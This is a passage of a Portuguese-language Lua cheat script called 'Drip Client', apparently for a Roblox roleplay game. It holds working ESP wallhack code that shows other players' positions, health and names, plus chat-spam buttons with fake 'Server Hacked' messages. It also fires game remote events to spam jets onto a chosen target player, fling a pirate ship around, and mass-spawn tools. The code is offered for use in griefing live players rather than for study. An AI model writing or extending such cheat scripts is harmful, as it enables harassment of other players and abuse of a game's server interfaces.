Name = Translator:traduzir("Velocidade da mensagem"),
Min = 0.4,
Max = 10,
Default = ChatSystem.delay,
Increment = 0.1,
Callback = function(value)
ChatSystem.delay = value
end
})
Tabs.Client:AddToggle({
Name = Translator:traduzir("Mensagem Automática"),
Default = false,
Callback = function(value)
ChatSystem.autoSpamActive = value
if value then
task.spawn(function()
while ChatSystem.autoSpamActive do
sendChat(ChatSystem.textSave)
task.wait(ChatSystem.delay)
end
end)
end
end
})
Tabs.Client:AddButton({
Name = Translator:traduzir("Limpar Chat"),
Callback = function()
if tcs.ChatVersion == Enum.ChatVersion.TextChatService then
local clearText = "hi" .. string.rep("\r", 200) .. "Server: Drip Client"
tcs.TextChannels.RBXGeneral:SendAsync(clearText)
end
end
})
Tabs.Client:AddSection({Translator:traduzir("Mensagens De Chat")})
local predefinedMessages = {
{"c00lkidd invaded", "c00lkidd invaded"},
{"Vou Trava Geral", "Vou Trava Geral"},
{"E o Drip bebê", "E o Drip bebê"},
{"Tubers93 invaded", "Tubers93 invaded"},
{"Server Hacked", "Server Hacked"}
}
for _, message in ipairs(predefinedMessages) do
Tabs.Client:AddButton({
Name = message[1],
Callback = function()
if tcs.ChatVersion == Enum.ChatVersion.TextChatService then
local fullMessage = "hi" .. string.rep("\r", 100) .. message[2]
tcs.TextChannels.RBXGeneral:SendAsync(fullMessage)
end
end
})
end
]]
Tabs.Client:AddSection({Translator:traduzir("MENU Esp")})
local ESPSystem = {
showLine = false,
showHealth = false,
showName = false,
showDistance = false,
drawings = {},
healthColors = {
Color3.fromRGB(255, 0, 0), Color3.fromRGB(0, 255, 0), Color3.fromRGB(0, 0, 255),
Color3.fromRGB(255, 255, 0), Color3.fromRGB(255, 0, 255), Color3.fromRGB(0, 255, 255),
Color3.fromRGB(255, 128, 0)
},
healthColorIndex = 1
}
local function clearESP()
for _, drawing in pairs(ESPSystem.drawings) do
if drawing and drawing.Remove then
drawing:Remove()
end
end
ESPSystem.drawings = {}
end
local function createPlayerESP(player)
if player == LocalPlayer then return end
local character = player.Character
if not character then return end
local head = character:FindFirstChild("Head")
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if not head or not humanoidRootPart then return end
local headPosition, onScreen = Camera:WorldToViewportPoint(head.Position)
if not onScreen then return end
local screenCenter = Vector2.new(Camera.ViewportSize.X / 2, Camera.ViewportSize.Y)
if ESPSystem.showLine then
local line = Drawing.new("Line")
line.From = screenCenter
line.To = Vector2.new(headPosition.X, headPosition.Y)
line.Color = Color3.new(1, 1, 1)
line.Thickness = 2
line.Transparency = 1
line.Visible = true
table.insert(ESPSystem.drawings, line)
end
if ESPSystem.showHealth then
local healthBar = Drawing.new("Square")
healthBar.Size = Vector2.new(4, 35)
healthBar.Position = Vector2.new(headPosition.X - 30, headPosition.Y - 17.5)
healthBar.Color = ESPSystem.healthColors[ESPSystem.healthColorIndex]
healthBar.Filled = true
healthBar.Transparency = 1
healthBar.Visible = true
table.insert(ESPSystem.drawings, healthBar)
end
if ESPSystem.showName then
local nameTag = Drawing.new("Text")
nameTag.Text = player.DisplayName
nameTag.Position = Vector2.new(headPosition.X, headPosition.Y - 25)
nameTag.Color = Color3.fromRGB(255, 255, 255)
nameTag.Center = true
nameTag.Size = 18
nameTag.Outline = true
nameTag.Visible = true
table.insert(ESPSystem.drawings, nameTag)
end
if ESPSystem.showDistance then
local distance = math.floor((Camera.CFrame.Position - head.Position).Magnitude)
local distanceTag = Drawing.new("Text")
distanceTag.Text = distance .. "m"
distanceTag.Position = Vector2.new(headPosition.X, headPosition.Y + 25)
distanceTag.Color = Color3.fromRGB(0, 255, 255)
distanceTag.Center = true
distanceTag.Size = 16
distanceTag.Outline = true
distanceTag.Visible = true
table.insert(ESPSystem.drawings, distanceTag)
end
end
RunService.RenderStepped:Connect(function()
clearESP()
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and player.Character:FindFirstChild("Head") then
createPlayerESP(player)
end
end
end)
local espToggles = {
{name = "Linhas <Esp>", key = "showLine", desc = "Mostra linhas da posição dos jogadores"},
{name = "Vida <Esp>", key = "showHealth", desc = "Mostra a vida dos jogadores"},
{name = "Nome <Esp>", key = "showName", desc = "Mostra os nomes dos jogadores no mapa"},
{name = "Distância <Esp>", key = "showDistance", desc = "Mostra as distâncias dos jogadores"}
}
for _, toggle in ipairs(espToggles) do
Tabs.Client:AddToggle({
Name = toggle.name,
Description = toggle.desc,
Default = false,
Callback = function(value)
ESPSystem[toggle.key] = value
end
})
end
Tabs.Client:AddSection({Translator:traduzir("Spam Varios Jatos <BETA>")})
local JetSystem = {
spawnActive = false,
spawnLoop = nil,
originalPosition = nil,
teleportPosition = CFrame.new(488.179443359375, -20.3643856048584, 234.5631866455078),
destinations = {
CFrame.new(-28.919492721557617, 2.9356155395507812, -9.202991485595703),
CFrame.new(14.021419525146484, 2.9356155395507812, 2.162062168121338),
CFrame.new(15.570757865905762, 2.935615301132202, 37.51002502441406),
CFrame.new(-23.0268611907959, 2.935615062713623, 60.1992073059082),
CFrame.new(-45.52577209472656, 2.835615634918213, 36.096221923828125)
}
}
local function getJetComponents()
local airport = workspace:FindFirstChild("WorkspaceCom")
if not airport then return nil, nil, nil end
airport = airport:FindFirstChild("001_Airport")
if not airport then return nil, nil, nil end
local hanger = airport:FindFirstChild("AirportHanger")
if not hanger then return nil, nil, nil end
local buttonPart = hanger:FindFirstChild("001_JetCloneButton")
local storage = hanger:FindFirstChild("001_JetStorage")
if not buttonPart or not storage then return nil, nil, nil end
local button = buttonPart:FindFirstChild("Button")
if not button then return nil, nil, nil end
local detector = button:FindFirstChild("ClickDetector")
return detector, storage, button
end
local function findNewJet(usedJets, storage)
for _, jet in ipairs(storage:GetChildren()) do
if jet:IsA("Model") and jet:FindFirstChild("NoUse") and not table.find(usedJets, jet) then
return jet
end
end
return nil
end
local function startJetSpam()
local humanoidRootPart = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then return end
local detector, storage = getJetComponents()
if not detector or not storage then return end
JetSystem.originalPosition = humanoidRootPart.CFrame
humanoidRootPart.CFrame = JetSystem.teleportPosition
JetSystem.spawnActive = true
task.spawn(function()
local destinationIndex = 1
local usedJets = {}
while JetSystem.spawnActive do
if detector then
fireclickdetector(detector)
end
task.wait(Config.jetSpawnDelay)
local newJet = findNewJet(usedJets, storage)
if newJet then
local height = (#usedJets + 1) * 6
local baseDestination = JetSystem.destinations[destinationIndex] or JetSystem.destinations[1]
local target = baseDestination + Vector3.new(0, height, 0)
local primaryPart = newJet:FindFirstChild("NoUse") or newJet:FindFirstChildWhichIsA("BasePart")
if primaryPart then
newJet.PrimaryPart = primaryPart
newJet:SetPrimaryPartCFrame(target)
table.insert(usedJets, newJet)
end
end
destinationIndex = (destinationIndex % #JetSystem.destinations) + 1
task.wait(0.5)
end
end)
end
local function stopJetSpam()
JetSystem.spawnActive = false
if JetSystem.originalPosition then
local humanoidRootPart = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
humanoidRootPart.CFrame = JetSystem.originalPosition
end
end
end
Tabs.Client:AddButton({
Translator:traduzir("Como funciona?"),
function()
Window:Dialog({
Title = Translator:traduzir("Funções Do jatos"),
Text = Translator:traduzir("• Para funcionar precisa de GamePass <Premium> é versão Beta. Pode conter erros. Se demorar, recomendo ativar e desativar!"),
Options = {
{"Fechar", function() end}
}
})
end
})
Tabs.Client:AddButton({
"Spamar Jatos",
function()
Window:Dialog({
Title = Translator:traduzir("Como Funciona?"),
Text = Translator:traduzir("O spam começa em até 20 segundos. Não é visual. Após usar, não toque em nada, apenas no script."),
Options = {
{"Começar Spam", function()
if not JetSystem.spawnActive then
startJetSpam()
end
end},
{"Fechar", function() end}
}
})
end
})
Tabs.Client:AddButton({
Translator:traduzir("Parar Spam"),
function()
stopJetSpam()
end
})
Tabs.Client:AddSection({Translator:traduzir("Auto Spamar Jatos <Jogador>")})
local TargetJetSystem = {
flingActive = false,
targetPlayer = nil,
cameraConnection = nil
}
local function getPlayerList()
local playerList = {}
for _, player in pairs(Players:GetPlayers()) do
if player ~= LocalPlayer then
table.insert(playerList, player.Name)
end
end
return playerList
end
local function startTargetJetSpam()
TargetJetSystem.flingActive = true
local humanoidRootPart = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
humanoidRootPart.CFrame = JetSystem.teleportPosition
end
task.spawn(function()
local usedJets = {}
local detector, storage = getJetComponents()
while TargetJetSystem.flingActive do
if detector then
fireclickdetector(detector)
end
task.wait(Config.jetSpawnDelay)
local jet = findNewJet(usedJets, storage)
local targetPlayer = Players:FindFirstChild(TargetJetSystem.targetPlayer)
if jet and targetPlayer and targetPlayer.Character then
local targetHRP = targetPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetHRP then
local primaryPart = jet:FindFirstChild("NoUse") or jet:FindFirstChildWhichIsA("BasePart")
if primaryPart then
jet.PrimaryPart = primaryPart
local offset = Vector3.new(
math.random(-3, 3),
math.random(4, 8),
math.random(-3, 3)
)
local destination = targetHRP.Position + offset
jet:SetPrimaryPartCFrame(CFrame.new(destination))
table.insert(usedJets, jet)
end
end
end
task.wait(Config.jetMoveDelay)
end
end)
end
local function stopTargetJetSpam()
TargetJetSystem.flingActive = false
end
local function updateCameraView(enabled)
if enabled then
local targetPlayer = Players:FindFirstChild(TargetJetSystem.targetPlayer)
if targetPlayer and targetPlayer.Character then
local humanoid = targetPlayer.Character:FindFirstChild("Humanoid")
if humanoid then
Camera.CameraSubject = humanoid
end
end
else
if LocalPlayer.Character then
local humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")
if humanoid then
Camera.CameraSubject = humanoid
end
end
end
end
local playerDropdown = Tabs.Client:AddDropdown({
Name = Translator:traduzir("Selecionar Jogador"),
Description = Translator:traduzir("Selecione uma pessoa para mandar os jatos"),
Options = getPlayerList(),
Default = "Pessoa",
Callback = function(value)
TargetJetSystem.targetPlayer = value
end
})
Tabs.Client:AddToggle({
Name = Translator:traduzir("Visualizar Jogador"),
Description = Translator:traduzir("Mesmo de longe você consegue ver"),
Default = false,
Callback = function(value)
if value then
if not TargetJetSystem.cameraConnection then
TargetJetSystem.cameraConnection = RunService.Heartbeat:Connect(function()
updateCameraView(true)
end)
end
else
if TargetJetSystem.cameraConnection then
TargetJetSystem.cameraConnection:Disconnect()
TargetJetSystem.cameraConnection = nil
end
updateCameraView(false)
end
end
})
Tabs.Client:AddButton({
Translator:traduzir("Atualizar Lista"),
function()
playerDropdown:Set(getPlayerList())
end
})
Tabs.Client:AddToggle({
Name = Translator:traduzir("Auto Spamer"),
Description = Translator:traduzir("Spam de jets constante ao jogador selecionado"),
Default = false,
Callback = function(value)
if value then
startTargetJetSpam()
else
stopTargetJetSpam()
end
end
})
Tabs.Client:AddSection({Translator:traduzir("Navio Pirado")})
local ShipSystem = {
tornadoActive = false,
currentShip = nil
}
local function spawnPirateShip()
local character = LocalPlayer.Character
if not character then return nil end
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then return nil end
humanoidRootPart.CFrame = CFrame.new(1754, -2, 58)
task.wait(0.5)
local re = ReplicatedStorage:WaitForChild("RE")
re:FindFirstChild("1Ca1r"):FireServer("PickingBoat", "PirateFree")
task.wait(1)
local vehicles = workspace:WaitForChild("Vehicles")
return vehicles:FindFirstChild(LocalPlayer.Name .. "Car")
end
local function playShipAudio()
local audioID = 9068077052
local args = {workspace, audioID, 1}
for i = 1, 5 do
local re = ReplicatedStorage.RE:FindFirstChild("1Gu1nSound1s")
if re then
re:FireServer(unpack(args))
end
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. audioID
sound.Parent = LocalPlayer.Character.HumanoidRootPart
sound:Play()
task.wait(1.5)
sound:Destroy()
end
end
end
local function startTornado()
ShipSystem.currentShip = spawnPirateShip()
if not ShipSystem.currentShip then return end
local seat = ShipSystem.currentShip:FindFirstChild("Body")
seat = seat and seat:FindFirstChild("VehicleSeat")
if not seat then return end
local character = LocalPlayer.Character
local humanoid = character:FindFirstChild("Humanoid")
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if not humanoid or not humanoidRootPart then return end
repeat
task.wait(0.1)
humanoidRootPart.CFrame = seat.CFrame * CFrame.new(0, 1, 0)
until humanoid.SeatPart == seat
task.spawn(playShipAudio)
task.delay(4, function()
if humanoid.SeatPart then
humanoid.Sit = false
end
humanoidRootPart.CFrame = CFrame.new(0, 0, 0)
end)
ShipSystem.tornadoActive = true
task.spawn(function()
local re = ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Player1sCa1r")
while ShipSystem.tornadoActive and ShipSystem.currentShip and ShipSystem.currentShip.Parent do
re:FireServer("Flip")
task.wait(0.5)
end
end)
local waypoints = {
Vector3.new(-16, 0, -47),
Vector3.new(-110, 0, -45),
Vector3.new(16, 0, -55)
}
local currentIndex = 1
local nextIndex = 2
local moveSpeed = 30
local rotationSpeed = math.rad(720)
local progress = 0
local currentRotation = 0
local connection
connection = RunService.Heartbeat:Connect(function(dt)
if not ShipSystem.tornadoActive or not ShipSystem.currentShip or not ShipSystem.currentShip.PrimaryPart then
connection:Disconnect()
return
end
local startPos = waypoints[currentIndex]
local endPos = waypoints[nextIndex]
progress = progress + (moveSpeed * dt) / (startPos - endPos).Magnitude
if progress >= 1 then
progress = 0
currentIndex = nextIndex
nextIndex = (nextIndex % #waypoints) + 1
end
local newPos = startPos:lerp(endPos, progress)
currentRotation = currentRotation + rotationSpeed * dt
local cframe = CFrame.new(newPos) * CFrame.Angles(0, currentRotation, 0)
ShipSystem.currentShip:SetPrimaryPartCFrame(cframe)
end)
end
local function stopTornado()
ShipSystem.tornadoActive = false
task.spawn(function()
local args = {"DeleteAllVehicles"}
local re = ReplicatedStorage:WaitForChild("RE"):WaitForChild("1Ca1r")
re:FireServer(unpack(args))
end)
end
local TornadoToggle = Tabs.Client:AddToggle({
Name = Translator:traduzir("Tornado - Navio Pirata"),
Description = Translator:traduzir("Puxa Navio Pirata para a praça"),
Default = false
})
TornadoToggle:Callback(function(Value)
if Value then
startTornado()
task.wait(5)
TornadoToggle:SetValue(false)
else
stopTornado()
end
end)
end
-----------------///////TABS - JJ///////-----------------
do
--[[Tabs.JJ:AddButton({
Translator:traduzir("Yungbloud"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id=15610015346"
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Katseye Touch"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id=139021427684680"
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Kickstep"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id="
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Pew pew, headshot!"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id="
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Loading Screen"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id="
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Vem Cá Nenem"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id="
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})
Tabs.JJ:AddButton({
Translator:traduzir("Kawaii Cutie Toy Bear Sit"),
function()
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id="
local humanoid = game.Players.LocalPlayer.Character:WaitForChild("Humanoid")
local track = humanoid:LoadAnimation(Anim)
track:Play(0.1, 1, 1)
end
})]]
Tabs.JJ:AddSection({"Crie Nomes Com Extinto"})
getgenv().CustomText = "New Message!"
Tabs.JJ:AddTextBox({
Title = "Digite Um Texto",
Description = "Crie um Nome de extinto",
Default = "New Message!",
ClearText = false,
Callback = function(value)
getgenv().CustomText = value
end
})
Tabs.JJ:AddButton({"Cria Nome Extinto", function()
if getgenv()._Running then
warn("A process is already running")
return
end
getgenv()._Running = true
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CoreGui = game:GetService("CoreGui")
local player = Players.LocalPlayer
ReplicatedStorage.RE:FindFirstChild("1Clea1rTool1s"):FireServer("ClearAllTools")
if CoreGui:FindFirstChild("LoadingUI") then return end
-- Mapa de caracteres
local CHAR_MAP = {
["A"] = {"01110","10001","10001","11111","10001","10001","10001"},
["B"] = {"11110","10001","10001","11110","10001","10001","11110"},
["C"] = {"01110","10001","10000","10000","10000","10001","01110"},
["D"] = {"11110","10001","10001","10001","10001","10001","11110"},
["E"] = {"11111","10000","10000","11110","10000","10000","11111"},
["F"] = {"11111","10000","10000","11110","10000","10000","10000"},
["G"] = {"01110","10001","10000","10111","10001","10001","01110"},
["H"] = {"10001","10001","10001","11111","10001","10001","10001"},
["I"] = {"111","010","010","010","010","010","111"},
["J"] = {"00111","00010","00010","00010","10010","10010","01100"},
["K"] = {"10001","10010","10100","11000","10100","10010","10001"},
["L"] = {"10000","10000","10000","10000","10000","10000","11111"},
["M"] = {"10001","11011","10101","10101","10001","10001","10001"},
["N"] = {"10001","11001","10101","10011","10001","10001","10001"},
["O"] = {"01110","10001","10001","10001","10001","10001","01110"},
["P"] = {"11110","10001","10001","11110","10000","10000","10000"},
["Q"] = {"01110","10001","10001","10001","10101","10010","01101"},
["R"] = {"11110","10001","10001","11110","10100","10010","10001"},
["S"] = {"01111","10000","10000","01110","00001","00001","11110"},
["T"] = {"11111","00100","00100","00100","00100","00100","00100"},
["U"] = {"10001","10001","10001","10001","10001","10001","01110"},
["V"] = {"10001","10001","10001","10001","10001","01010","00100"},
["W"] = {"10001","10001","10001","10101","10101","11011","10001"},
["X"] = {"10001","01010","00100","00100","01010","10001","10001"},
["Y"] = {"10001","10001","10001","01010","00100","00100","00100"},
["Z"] = {"11111","00001","00010","00100","01000","10000","11111"},
["0"] = {"01110","10001","10011","10101","11001","10001","01110"},
["1"] = {"00100","01100","00100","00100","00100","00100","01110"},
["2"] = {"01110","10001","00001","00010","00100","01000","11111"},
["3"] = {"11111","00010","00100","00010","00001","10001","01110"},
["4"] = {"00010","00110","01010","10010","11111","00010","00010"},
["5"] = {"11111","10000","11110","00001","00001","10001","01110"},
["6"] = {"00110","01000","10000","11110","10001","10001","01110"},
["7"] = {"11111","00001","00010","00100","01000","10000","10000"},
["8"] = {"01110","10001","10001","01110","10001","10001","01110"},
["9"] = {"01110","10001","10001","01111","00001","00010","01100"},
[" "] = {"00000","00000","00000","00000","00000","00000","00000"},
["!"] = {"00100","00100","00100","00100","00100","00000","00100"},
["?"] = {"01110","10001","00001","00010","00100","00000","00100"},
["."] = {"00000","00000","00000","00000","00000","00110","00110"},
[","] = {"00000","00000","00000","00000","00000","00100","01000"},
[":"] = {"00000","00110","00110","00000","00110","00110","00000"},
[";"] = {"00000","00110","00110","00000","00100","01000","00000"},
["-"] = {"00000","00000","00000","11111","00000","00000","00000"},
["+"] = {"00000","00100","00100","11111","00100","00100","00000"},
["="] = {"00000","11111","00000","11111","00000","00000","00000"},
["/"] = {"00001","00010","00100","01000","10000","00000","00000"},
["("] = {"00010","00100","01000","01000","01000","00100","00010"},
[")"] = {"01000","00100","00010","00010","00010","00100","01000"},
["*"] = {"00000","00100","10101","01110","10101","00100","00000"},
["%"] = {"11001","11010","00100","01000","10110","10011","00000"},
["@"] = {"01110","10001","10011","10101","10111","10000","01110"},
["#"] = {"01010","01010","11111","01010","11111","01010","01010"},
["$"] = {"00100","01111","10100","01110","00101","11110","00100"},
["&"] = {"01100","10010","10100","01000","10101","10010","01101"},
["'"] = {"00100","00100","00000","00000","00000","00000","00000"},
["_"] = {"00000","00000","00000","00000","00000","00000","11111"},
}
-- GUI de carregamento
local screenGui = Instance.new("ScreenGui", CoreGui)
screenGui.Name = "LoadingUI"
screenGui.IgnoreGuiInset = true
screenGui.DisplayOrder = 999999
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
local container = Instance.new("Frame", screenGui)
container.Size = UDim2.new(0, 400, 0, 60)
container.Position = UDim2.new(0.5, -200, 0.5, -30)
container.BackgroundTransparency = 1
container.ZIndex = 5
local label = Instance.new("TextLabel", container)
label.Size = UDim2.new(1, 0, 0, 30)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = "Loading..."
label.Font = Enum.Font.GothamBold
label.TextSize = 20
label.TextColor3 = Color3.new(1, 1, 1)
label.BackgroundTransparency = 1
label.ZIndex = 5
local barBackground = Instance.new("Frame", container)
barBackground.Size = UDim2.new(1, 0, 0, 20)
barBackground.Position = UDim2.new(0, 0, 1, -20)
barBackground.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
barBackground.BorderSizePixel = 0
barBackground.ClipsDescendants = true
barBackground.ZIndex = 5
Instance.new("UICorner", barBackground).CornerRadius = UDim.new(0, 10)
local progress = Instance.new("Frame", barBackground)
progress.Size = UDim2.new(0, 0, 1, 0)
progress.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
progress.BorderSizePixel = 0
progress.ZIndex = 5
Instance.new("UICorner", progress).CornerRadius = UDim.new(0, 10)
local gradient = Instance.new("UIGradient", progress)
gradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(139, 0, 0)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 60, 60))
}
local toolsCountLabel = Instance.new("TextLabel", container)
toolsCountLabel.Size = UDim2.new(1, 0, 0, 20)
toolsCountLabel.Position = UDim2.new(0, 0, 1, 5)
toolsCountLabel.BackgroundTransparency = 1
toolsCountLabel.Font = Enum.Font.GothamBold
toolsCountLabel.TextSize = 16
toolsCountLabel.TextColor3 = Color3.new(1, 1, 1)
toolsCountLabel.Text = "Tools: 0"
toolsCountLabel.ZIndex = 5
local function countTools()
local total = 0
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then total += 1 end
end
end
return total
end
local function countRequiredTools(text)
local total = 0
for c in text:upper():gmatch(".") do
local rows = CHAR_MAP[c]
if rows then
for _, row in ipairs(rows) do
total += row:gsub("0", ""):len()
end
else
warn("Invalid character:", c)
end
end
return total
end
local text = getgenv().CustomText or "New Message!"
local maxTools = countRequiredTools(text)
local function animateBar(callback)
for i = 1, 100 do
progress.Size = UDim2.new(i / 100, 0, 1, 0)
local currentTools = countTools()
toolsCountLabel.Text = "Tools: " .. currentTools .. "/" .. maxTools
task.wait(0.03)
end
callback()
end
animateBar(function()
local character = player.Character or player.CharacterAdded:Wait()
local hrp = character:WaitForChild("HumanoidRootPart")
local originalPosition = hrp.Position
local function teleportTo(pos)
hrp.CFrame = CFrame.new(pos)
end
teleportTo(Vector3.new(430, -108, 100))
task.wait(0.5)
local clickDetector = workspace:WaitForChild("WorkspaceCom"):WaitForChild("001_DayCare").Tools:WaitForChild("FireX"):WaitForChild("ClickDetector")
repeat
fireclickdetector(clickDetector)
toolsCountLabel.Text = "Tools: " .. (countTools() + 1) .. "/" .. maxTools
task.wait()
until countTools() >= maxTools
task.wait(1)
local tools = {}
for _, c in ipairs({player.Backpack, player.Character}) do
for _, tool in ipairs(c:GetChildren()) do
if tool:IsA("Tool") then table.insert(tools, tool) end
end
end
if #tools < maxTools then
warn("Not enough tools, required: " .. maxTools .. ", Found: " .. #tools)
getgenv()._Running = false
return
end
for _, tool in ipairs(player.Character:GetChildren()) do
if tool:IsA("Tool") then tool.Parent = player.Backpack end
end
task.wait(0.2)
local gripMap = {}
local startPos = Vector3.new(0, -5, 0)
local pixelSize = Vector3.new(1.2, 1.2, 0)
local toolIndex = 1
local offsetX = 0
for i = 1, #text do
local char = text:sub(i, i):upper()
local map = CHAR_MAP[char]
if map then
for y = 1, #map do
for x = 1, #map[y] do
if map[y]:sub(x, x) == "1" then
local tool = tools[toolIndex]
if tool then
gripMap[tool] = CFrame.new(
startPos.X + (offsetX + x - 1) * pixelSize.X,
startPos.Y + (y - 1) * pixelSize.Y,
startPos.Z
)
toolIndex += 1
end
end
end
end
offsetX += #map[1] + 1
end
end
teleportTo(originalPosition)
task.wait(3)
for tool, grip in pairs(gripMap) do
tool.Grip = grip
end
task.wait(3)
for i = 1, maxTools do
if tools[i] then
tools[i].Parent = player.Character
end
end
screenGui:Destroy()
getgenv()._Running = false
end)
end})
Tabs.JJ:AddSection({Translator:traduzir("Crie um Muro de tools")})
local selectedSize = 100 -- valor padrão
local Dropdown = Tabs.JJ:AddDropdown({
Name = "Tamanho Do Muro",
Description = "Escolha a quantidade de tools para formar o muro",
Options = {"100", "200", "300", "400"},
Default = "Size",
Flag = "WallSize",
Callback = function(value)
selectedSize = tonumber(value)
end
})
Tabs.JJ:AddButton({
Name = "Criar Muro",
Callback = function()
if getgenv()._Running then
warn("A process is already running")
return
end
getgenv()._Running = true
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CoreGui = game:GetService("CoreGui")
local player = Players.LocalPlayer
ReplicatedStorage.RE:FindFirstChild("1Clea1rTool1s"):FireServer("ClearAllTools")
if CoreGui:FindFirstChild("LoadingUI") then return end
local screenGui = Instance.new("ScreenGui", CoreGui)
screenGui.Name = "LoadingUI"
screenGui.IgnoreGuiInset = true
screenGui.DisplayOrder = 999999
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
local topLeftContainer = Instance.new("Frame")
topLeftContainer.Size = UDim2.new(0, 200, 0, 40)
topLeftContainer.Position = UDim2.new(0, 10, 0, 10)
topLeftContainer.BackgroundTransparency = 1
topLeftContainer.ZIndex = 5
topLeftContainer.Parent = screenGui
local icon = Instance.new("ImageLabel")
icon.Size = UDim2.new(0, 30, 0, 30)
icon.Position = UDim2.new(0, 0, 0.5, -15)
icon.BackgroundTransparency = 1
icon.Image = "rbxassetid://72495850369898"
icon.ZIndex = 5
icon.Parent = topLeftContainer
local hubText = Instance.new("TextLabel")
hubText.Size = UDim2.new(1, -35, 1, 0)
hubText.Position = UDim2.new(0, 35, 0, 0)
hubText.BackgroundTransparency = 1
hubText.Text = "drip formts"
hubText.Font = Enum.Font.GothamBold
hubText.TextSize = 20
hubText.TextColor3 = Color3.new(1, 1, 1)
hubText.TextXAlignment = Enum.TextXAlignment.Left
hubText.ZIndex = 5
hubText.Parent = topLeftContainer
local imageBackground = Instance.new("ImageLabel", screenGui)
imageBackground.Size = UDim2.new(1, 0, 1, 0)
imageBackground.Position = UDim2.new(0, 0, 0, 0)
imageBackground.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
imageBackground.BorderSizePixel = 0
imageBackground.Image = "rbxassetid://79888503709168"
imageBackground.ImageTransparency = 0
imageBackground.ScaleType = Enum.ScaleType.Stretch
imageBackground.ZIndex = 0
local blocker = Instance.new("TextButton", screenGui)
blocker.Size = UDim2.new(1, 0, 1, 0)
blocker.Position = UDim2.new(0, 0, 0, 0)
blocker.BackgroundTransparency = 1
blocker.BorderSizePixel = 0
blocker.Text = ""
blocker.Modal = true
blocker.AutoButtonColor = false
blocker.ZIndex = 1
local container = Instance.new("Frame", screenGui)
container.Size = UDim2.new(0, 400, 0, 60)
container.Position = UDim2.new(0.5, -200, 0.5, -30)
container.BackgroundTransparency = 1
container.ZIndex = 5
local label = Instance.new("TextLabel", container)
label.Size = UDim2.new(1, 0, 0, 30)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = "Loading..."
label.Font = Enum.Font.GothamBold
label.TextSize = 20
label.TextColor3 = Color3.new(1, 1, 1)
label.BackgroundTransparency = 1
label.ZIndex = 5
local barBackground = Instance.new("Frame", container)
barBackground.Size = UDim2.new(1, 0, 0, 20)
barBackground.Position = UDim2.new(0, 0, 1, -20)
barBackground.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
barBackground.BorderSizePixel = 0
barBackground.ClipsDescendants = true
barBackground.ZIndex = 5
Instance.new("UICorner", barBackground).CornerRadius = UDim.new(0, 10)
local progress = Instance.new("Frame", barBackground)
progress.Size = UDim2.new(0, 0, 1, 0)
progress.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
progress.BorderSizePixel = 0
progress.ZIndex = 5
Instance.new("UICorner", progress).CornerRadius = UDim.new(0, 10)
local gradient = Instance.new("UIGradient", progress)
gradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(198, 200, 197)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 255, 255))
}
local toolsCountLabel = Instance.new("TextLabel", container)
toolsCountLabel.Size = UDim2.new(1, 0, 0, 20)
toolsCountLabel.Position = UDim2.new(0, 0, 1, 5)
toolsCountLabel.BackgroundTransparency = 1
